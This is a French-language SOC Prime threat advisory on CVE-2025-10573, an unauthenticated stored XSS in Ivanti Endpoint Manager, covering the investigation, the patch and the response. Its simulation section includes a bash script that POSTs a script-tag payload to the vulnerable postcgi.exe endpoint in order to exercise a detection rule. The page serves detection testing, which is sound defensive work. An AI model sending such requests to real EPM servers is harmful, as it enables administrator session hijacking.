SOC Prime Bias: Critique

10 Déc 2025 19:54

CVE-2025-10573 : Vulnérabilité XSS Persistante non authentifiée dans Ivanti EPM (Corrigée)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
CVE-2025-10573 : Vulnérabilité XSS Persistante non authentifiée dans Ivanti EPM (Corrigée)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Ivanti Endpoint Manager (EPM) contient une vulnérabilité de type cross-site scripting stocké qui permet à un attaquant non authentifié d’injecter du JavaScript malveillant dans les données de balayage de l’appareil. Lorsque cette charge utile est affichée dans le tableau de bord web de la console de gestion, elle peut être utilisée pour détourner la session d’un administrateur. Le problème est suivi sous le numéro CVE-2025-10573 et a un score CVSS de 9,6.

Enquête

Rapid7 a analysé un déploiement Core d’Ivanti EPM 11.0.6 sur Windows Server 2022 et a constaté qu’une requête POST forgée vers /incomingdata/postcgi.exe avec des champs key=value malveillants provoque le stockage et l’exécution ultérieure du JavaScript dans l’interface admin. Le comportement non sécurisé du binaire CGI postcgi.exe, qui écrit des fichiers de balayage en dehors de la racine du web, permet ce chemin d’injection.

Atténuation

Ivanti a publié un correctif le 09-12-2025, et la mise à niveau vers la version Ivanti EPM 2024 SU4 SR1 corrige la vulnérabilité. Rapid7 fournira une vérification des vulnérabilités authentifiée pour aider les clients d’Exposure Command, InsightVM et Nexpose à identifier les installations affectées.

Réponse

Les organisations devraient immédiatement déployer la mise à jour 2024 SU4 SR1, restreindre l’accès non authentifié à l’API /incomingdata, et surveiller les journaux du serveur web pour les requêtes POST ciblant postcgi.exe. Ils devraient également examiner les sessions administratives pour détecter tout signe de détournement et changer les identifiants qui pourraient avoir été compromis.

Flux d’attaque

Nous mettons encore à jour cette partie. Inscrivez-vous pour être notifié

M’avertir

Exécution de simulation

Condition préalable : La vérification préliminaire de la télémétrie et de la base de référence doit avoir passé.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Récit d’attaque et commandes :
    Un attaquant, ayant découvert que le point d’extrémité de balayage Ivanti EPM est non authentifié, crée une charge utile de balayage malveillante intégrant une<script>balise qui affiche une alerte (représentant le détournement de session). L’attaquant utilisecurlpour POST cette charge utile, imitant une soumission de balayage de l’appareil légitime. Puisque la charge utile correspond exactement à la chaîne que la règle surveille, le SIEM devrait générer une alerte.

  • Script de test de régression :

    #!/bin/bash
    # -------------------------------------------------
    # Simuler XSS stocké contre l'API de balayage Ivanti EPM
    # -------------------------------------------------
    
    # URL de la cible (ajustez l'hôte si nécessaire)
    TARGET="https://ivanti.example.com/incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan"
    
    # Charge utile malveillante - exactement la chaîne attendue par la règle
    PAYLOAD="<script>alert('Le compte administrateur a été détourné')</script>"
    
    # Corps XML complet que l'EPM Ivanti attend (simplifié)
    XML_BODY="<scan><device><id>99999</id><notes>${PAYLOAD}</notes></device></scan>"
    
    # Envoyer la requête
    curl -k -X POST "$TARGET" 
      -H "Content-Type: application/xml" 
      -d "$XML_BODY"
    
    echo "Balayage malveillant soumis."
  • Commandes de nettoyage :
    Les données de balayage persistent dans la base de données Ivanti EPM ; la suppression nécessite généralement un administrateur authentifié. À des fins de test, l’étape de nettoyage se limite à supprimer le fichier de test de toute capture de journal locale.

    #!/bin/bash
    # Nettoyage simple : supprimer les journaux temporaires curl (si présents)
    rm -f /tmp/curl_log_*
    echo "Artefacts de test locaux supprimés."